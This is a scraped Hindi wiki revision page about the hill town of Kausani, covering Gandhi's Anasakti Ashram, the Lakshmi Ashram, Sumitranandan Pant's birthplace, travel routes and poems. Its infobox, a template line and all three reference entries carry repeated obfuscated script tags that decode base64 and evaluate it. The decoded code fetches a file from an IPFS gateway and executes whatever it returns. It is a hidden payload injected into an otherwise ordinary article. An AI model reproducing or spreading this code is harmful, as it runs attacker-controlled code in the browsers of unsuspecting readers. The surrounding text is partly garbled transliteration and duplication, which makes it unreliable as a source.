Difference between revisions of "कौसानी"

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पर्यटकों के लिए कौसानी में घुमने के लिए कई जगहें और हैं, जहाँ पर्यटक आसानी से जा सकते है। एक तो वह घर जहाँ सुमित्रानंदन पंत का जन्म हुआ था। इसे अब संग्रहालय में बदल दिया गया है। दूसरा है लक्ष्मी आश्रम, जिसे गांधी जी की शिष्या सरला देवी ने बनवाया था। कौसानी से आप ग्वालदम भी जा सकते हैं। ग्वालदम वह जगह है, जहाँ [[कुमाऊँ]] और [[गढ़वाल]] आपस में मिलते हैं। यहाँ बहुत से [[सेब]] के बागान हैं। स्वर्ग से भी सुंदर कहे जाने वाले बेदनी बुग्याल तक जाने का रास्ता यहीं से शुरू होता है। और अगर आप कहीं नहीं जाना चाहते, सिर्फ कुदरत की गोद में आराम करना चाहते हैं तो कौसानी से बेहतर शायद कोई और जगह नहीं है।
 
पर्यटकों के लिए कौसानी में घुमने के लिए कई जगहें और हैं, जहाँ पर्यटक आसानी से जा सकते है। एक तो वह घर जहाँ सुमित्रानंदन पंत का जन्म हुआ था। इसे अब संग्रहालय में बदल दिया गया है। दूसरा है लक्ष्मी आश्रम, जिसे गांधी जी की शिष्या सरला देवी ने बनवाया था। कौसानी से आप ग्वालदम भी जा सकते हैं। ग्वालदम वह जगह है, जहाँ [[कुमाऊँ]] और [[गढ़वाल]] आपस में मिलते हैं। यहाँ बहुत से [[सेब]] के बागान हैं। स्वर्ग से भी सुंदर कहे जाने वाले बेदनी बुग्याल तक जाने का रास्ता यहीं से शुरू होता है। और अगर आप कहीं नहीं जाना चाहते, सिर्फ कुदरत की गोद में आराम करना चाहते हैं तो कौसानी से बेहतर शायद कोई और जगह नहीं है।
 
====अनासक्ति आश्रम====  
 
====अनासक्ति आश्रम====  
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{{Main|अनासक्ति आश्रम}}
 
[[चित्र:Anasakti.jpg|left|thumb|250px|गांधी जी की विश्राम स्थली अनासक्ति आश्रम]]  
 
[[चित्र:Anasakti.jpg|left|thumb|250px|गांधी जी की विश्राम स्थली अनासक्ति आश्रम]]  
यहाँ के प्राकृतिक सौंदर्य की मिसाल इस तथ्य से समझी जा सकती है कि वर्ष 1929 में जब पूज्य बापू महात्मा गांधी भारत के दौरे पर निकले थे तब अपनी थकान मिटाने के उद्देश्य से यहां एक चाय बागान के मालिक के अतिथि गृह में दो दिवसीय विश्राम हेतु यहाँ आये परन्तु यहाँ आने के बाद कौसानी के उस पार हिममंडित पर्वतमालाओं पर पड़ती सूर्य की स्वर्णमयी किरणों को देखकर इतना मुग्ध हो गये कि अपने दो दिन के प्रवास को भूलकर लगातार चौदह दिन तक यहाँ रूके रहे। अपने प्रवास के दौरान उन्होंने गीता पर आधारित अपनी प्रसिद्ध पुस्तक ‘अनासक्ति योग’ की रचना का प्रारंभिक चरण पूरा कर डाला।  
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यहाँ के प्राकृतिक सौंदर्य की मिसाल इस तथ्य से समझी जा सकती है कि वर्ष 1929 में जब पूज्य बापू [[महात्मा गांधी]] भारत के दौरे पर निकले थे तब अपनी थकान मिटाने के उद्देश्य से यहां एक [[चाय]] बागान के मालिक के अतिथि गृह में दो दिवसीय विश्राम हेतु यहाँ आये परन्तु यहाँ आने के बाद कौसानी के उस पार हिममंडित पर्वतमालाओं पर पड़ती सूर्य की स्वर्णमयी किरणों को देखकर इतना मुग्ध हो गये कि अपने दो दिन के प्रवास को भूलकर लगातार चौदह दिन तक यहाँ रूके रहे। अपने प्रवास के दौरान उन्होंने [[गीता]] पर आधारित अपनी प्रसिद्ध पुस्तक ‘अनासक्ति योग’ की रचना का प्रारंभिक चरण पूरा कर डाला।
[[चित्र:Prarthana.jpg|right|thumb|250px|आश्रम में आयोजित दैनिक सामूहिक प्रार्थना सभा]] महात्मा गांधी की विश्राम स्थली रहा चाय बागान का वह अतिथि गृह कालान्तर में जिला पंचायत का डाक बंगला बन गयाऔर अविभाजित उत्तर प्रदेश की तत्कालीन मुख्यमंत्री माननीय सुचेता कृपलानी द्वारा गांधी जी की स्मृति को तरोताजा रखने के लिये ‘उत्तर प्रदेश गांधी स्मारक निधि’ को प्रदान कर दिया गया ।
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यह आश्रम महात्मा गांधी को श्रद्धांजलि अर्पित करने के लिए बनाया गया था इसीलिये महात्मा जी की अमर कृति ‘अनासक्ति योग ’ के नाम पर उनकी विश्राम स्थली को ‘अनासक्ति आश्रम’ का नाम दिया गया है।  महात्मा गांधी ने 1929 में जब इस स्थान की यात्रा की थी तो इसके प्राकृतिक सौंदर्य से अभिभूत होकर इसे ‘भारत का स्विट्जरलैंड’ की संज्ञा दी थी। यह वही स्थान है, जहाँ उन्होंने अपनी पुस्तक अनासक्ति योग लिखी थी। आश्रम में गांधी जी के जीवन से जुड़ी पुस्तकों और फोटोग्राफ्स का अच्छा संग्रह है और एक छोटी-सी बुकशॉप भी है। यहाँ एक छोटा-सा प्रार्थना कक्ष भी है, जहाँ हर दिन सुबह और शाम प्रार्थना सभा आयोजित होती है। आश्रम के क्रियाकलापों में सबसे महत्वपूर्ण और प्रभावशाली कार्यक्रम गांधी जी की सामूहिक प्रार्थना ही है। यह प्रार्थना इस आश्रम के दैनिक दिनचर्या का विशेष अंग है। 
 
 
====लक्ष्मी आश्रम====
 
====लक्ष्मी आश्रम====
 
[[चित्र:Baagan.JPG|left|thumb|250px|कौसानी और आसपास के क्षेत्र में चाय के बागान]]
 
[[चित्र:Baagan.JPG|left|thumb|250px|कौसानी और आसपास के क्षेत्र में चाय के बागान]]

Revision as of 10:12, 14 September 2012

kausani
vivaran kausani uttarakhand rajh‍y ke almo dashahar se 53 kimi uttar mean sthit hai.
rajy uttarakhand
zila bageshvar
bhaugolik sthiti uttar- 29°50, poorv- 79°36
marg sthiti kausani almo da se 53 kimi, ranikhet se 62 kimi, nainital se 117 kimi, dilli se 410 kimi ki doori par sthit hai.
prasiddhi kausani ko 'bharat ka svitjaralaiand' kaha jata hai.
kab jaean aprail-joon aur sitanbar-navanbar
kaise pahuanchean havaee jahaz, rel, bas adi se pahuancha ja sakata hai.
havaee adda pantanagar havaee adda nikatatam havaee adda hai.
relave steshan kathagodam relave steshan nikatatam relave steshan hai.
yatayat bas, taiksi adi
kya dekhean anasakti ashram, lakshmi ashram, chay ke bagan
kahaan thaharean hotal, gest haus
kya kharidean kumaooan sh aaul, chay
es.ti.di. kod 05969
e.ti.em lagabhag sabhi
chitr:Map-icon.gif googal manachitr, pantanagar havaee adda
bhasha hindi, aangrezi aur kumayooanni
adyatan‎ <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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kausani (aangrezi: Kausani) uttarakhand rajh‍y ke almo da zile se 53 kilomitar uttar mean sthit hai. kausani, bharat ka khoobasoorat parvatiy paryatak sh‍thal hai. kausani himalay ki khoobasoorati ke darshan karata pianganath choti par basa hai. yahaan se barf se dhake nanda devi parvat ki choti ka najara bada bhavh‍y dikhaee deta haian. kosi nadi aur gomati nadi ke bich basa kausani bharat ka svitjaralaiand kahalata hai. kausani ke khoobasoorat prakritik najare, khel aur dharmik sh‍thal paryatakoan ko apani or akarshit karate haian. rashtrapita mahatma gaandhi ne bhi kausani ko 'bharat ka svitjaralaiand' kaha hai.

yatayat aur parivahan

kausani jane ke lie havaee, rel aur s dak marg ko apani suvidhanusar apanaya ja sakata hai.

vayu marg

kausani ka najadiki havaee adda pantanagar mean hai, jo kausani se 178 kilomitar hai. jaigsan aur kiangaphishar red ki niyamit u danean haian. thumb|left||kausani se ek paha di ka drishy

rel marg

kausani ka najadiki relave steshan kathagodam hai, jo kausani se 141 kilomitar ki doori par hai. uttarakhand sanpark kraanti aur ranikhet eksapres se kathagodam tak pahuanch sakate haian. kathagodam se sthaniy bas ya taiksi ki seva li ja sakati hai.

s dak marg

dilli se kausani ki doori lagabhag 431 kilomitar hai. dilli ke anand vihar bas adde se uttarakhand rodavej ki basean kausani ke lie din bhar chalati rahati haian. ap isi bas adde se v aaulvo bhi le sakate haian, jise haldvani mean chho dana p dega.

paryatan sthal

paryatakoan ke lie kausani mean ghumane ke lie kee jagahean aur haian, jahaan paryatak asani se ja sakate hai. ek to vah ghar jahaan sumitranandan pant ka janm hua tha. ise ab sangrahalay mean badal diya gaya hai. doosara hai lakshmi ashram, jise gaandhi ji ki shishya sarala devi ne banavaya tha. kausani se ap gvaladam bhi ja sakate haian. gvaladam vah jagah hai, jahaan kumaooan aur gadhaval apas mean milate haian. yahaan bahut se seb ke bagan haian. svarg se bhi suandar kahe jane vale bedani bugyal tak jane ka rasta yahian se shuroo hota hai. aur agar ap kahian nahian jana chahate, sirph kudarat ki god mean aram karana chahate haian to kausani se behatar shayad koee aur jagah nahian hai.

anasakti ashram

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

left|thumb|250px|gaandhi ji ki vishram sthali anasakti ashram yahaan ke prakritik sauandary ki misal is tathy se samajhi ja sakati hai ki varsh 1929 mean jab poojy bapoo mahatma gaandhi bharat ke daure par nikale the tab apani thakan mitane ke uddeshy se yahaan ek chay bagan ke malik ke atithi grih mean do divasiy vishram hetu yahaan aye parantu yahaan ane ke bad kausani ke us par himamandit parvatamalaoan par p dati soory ki svarnamayi kiranoan ko dekhakar itana mugdh ho gaye ki apane do din ke pravas ko bhoolakar lagatar chaudah din tak yahaan rooke rahe. apane pravas ke dauran unhoanne gita par adharit apani prasiddh pustak ‘anasakti yog’ ki rachana ka praranbhik charan poora kar dala.

lakshmi ashram

left|thumb|250px|kausani aur asapas ke kshetr mean chay ke bagan kausani mean ek lakshmi ashram (sarala devi ashram) bhi hai. jo kausani ke bas steshan se 1 kilomitar ki doori par sthit hai. yah ashram ek aangrez aurat ne banaya tha jo landan ki mool nivasi thi. jis ka nam kaitharin meri helvaman tha. vah jab 1948 mean hindustan ghoomane aee to gaandhi ji se prabhavit hokar hindustan mean hi rah gayi. kausani ko unhoanne apane karam sthali ke roop mean chuna. yahaan unhoanne lakshmi ashram ke nam se ek bordiang skool chalaya jis mean l dakiyoan ko silaee kadhaee bunaee adi sikhaya jata hai. lakshmi ashram mean shri krishna janmashtami ko yahaan bahut bhari mela lagata hai.

chay ke bagan

kausani aur asapas ke kshetr mean chay ke bagan bhi aisi hariyali ka anand dete haian, mano eeshvar ne hara kalin bichha diya ho. chay baganoan mean ghoomane ke sath-sath phaiktriyoan mean chay ko taiyar hote dekh sakate haian.left|thumb|250px|kausani se drishtigochar hoti svarnim parvat shrankhalayean

chitr:Blockquote-open.gif in paha doan mean prakritik sauandary ki mehamananavaji ke age manav dvara kiya gaya koee bhi satkar phika hai. maian ashchary ke sath sochata hooan ki in parvatoan ke sauandary aur jalavayu se badh kar kisi aur jagah ka hona to door, inaki barabari bhi sansar ka koee sauandary sthal nahian kar sakata. almo da ke paha doan mean qarib tin saptah ka samay bitane ke bad maian bahut zyada ashcharyachakit hooan ki hamare yahaan ke log behatar svasthy ki chah mean yoorop kyoan jate haian. chitr:Blockquote-close.gif

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yatraean

kausani ki khoobasoorati ne to yahaan ane valoan ko akarshit kiya hi, rashtrapati mahatma gaandhi se ju di aitihasikata ne bhi b di-b di hastiyoan ko yahaan ane par majaboor kiya. in hastiyoan mean poorv pradhanamantri iandira gaandhi, soniya gaandhi, kaangres ke varishth neta d aau. karn sianh aur arun shauri pramukh haian. d aau. sianh aur arun shauri ko yah jagah itani pasand aee ki ve aksar akar yahaan raha karate haian. prakhyat sahityakar nirmal varma ko bhi kausani pasand thi. unhoanne kee bar yahaan ki yatraean kian.

kausani ke bare mean

thumb|250px|jageshvar mandir, kausani kausani ka sabase pahala parichay bachapan mean pandit nareandr sharma ki in paktiyoan se hua tha:-

yah nee dhara, akash naya,
yah naya lok mil gaya mujhe.
thi atma jisake hit ashaant,
vah shaant lok mil gaya mujhe.

kausani ka doosara parichay bhi sahityik hi tha. dharmavir bharati ne apane ek prasiddh nibandh ‘thele par himalay’ mean isake bare mean kafi kuchh likha hai.

gaandhi ji

kausani ki sundarata ko dekh kar gaandhi ji kahate hai, in paha doan mean prakritik sauandary ki mehamananavaji ke age manav dvara kiya gaya koee bhi satkar phika hai. maian ashchary ke sath sochata hooan ki in parvatoan ke sauandary aur jalavayu se badh kar kisi aur jagah ka hona to door, inaki barabari bhi sansar ka koee sauandary sthal nahian kar sakata. almo da ke paha doan mean qarib tin saptah ka samay bitane ke bad maian bahut zyada ashcharyachakit hooan ki hamare yahaan ke log behatar svasthy ki chah mean yoorop kyoan jate haian.

janm sthali

left|thumb|250px|mahakavi ki smritiyoan ko sanjota rajakiy sangrahalay kausani ko mahan sahityakaroan ki janm bhoomi ke roop mean bhi jana jata hai. kausani ka ek aur sahityik parichay yah bhi hai ki kausani prakriti ke sukumar gumani pant, shailesh matiyani, sumitranandan pant ki janmasthali hai. mahakavi sumitranandan pant ko shraddhaanjali svaroop samarpit is sthal par mahakavi ki moorti sthapit hai. varsh 1990 mean sthapit is moorti ka ka anavaran vayovriddh sahityakar tatha itihasavetta pandit nityanaand mishr dvara unake janm divas 20 mee ko kiya gaya tha.[1] is moorti ki sthapana ko ikkis varsh hue jisamean se gyarah varsh uttarakhand ko prithak rajy banane ke bad ho chuke hai parantu khule asaman ke niche sthapit is moorti ke upar kainopi lagakar use varsha adi se bachane ka vichar ab tak kyoan nahian aya yah samajh se pare hai. mahakavi ka paitrak gram yahaan se kuchh hi doori par hai parantu vah aj bhi anajana tatha tiraskrit hai. sangrahalay mean mahakavi dvara upayog mean layi gayi dainik vastuyean yatha shal, dipak, pustakoan ki alamari tatha mahakavi ko samarpit kuchh aik samman-patr evan pustakean tatha hastalipi surakshit haian. kausani sirph sahity ke lie hi mahattvapoorn jagah nahian hai, kausani ki ginati kumaooan ke sabase suandar paryatan sthaloan mean hoti hai.[2]

ramesh kaushik (kavi)

kausani ki adbhut sundarata se prabhavit hokar kaviyoan ne bhi kausani ki sundarata ko apani kavita ke roop mean logoan ke samane prastut kiya hai. hindi ke kavi ramesh kaushik ne kausani ki sundarata ko dekhakar ek kavita kah dali.

parvat ki peshani
chi d, buraans, akharot, aloocha
devadar, mitha pagar au khoobani
do-char gharoan ki
chhitaput-si basti--
yah kausani
tasir hava mean aisi
apane ap log ban jate isamean
kavi, vairagi, senani
baqi sab batean bemani[3]


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. mahakavi pant ki janmabhoomi kausani se..... (hindi) gady kosh. abhigaman tithi: 10 sitambar, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. lasani hai kausani (hindi) (ech.ti.em.el) laiv hindustan. abhigaman tithi: 25 sitambar, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. kavita kosh (hindi) ramesh kaushik. abhigaman tithi: 25 sitambar, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

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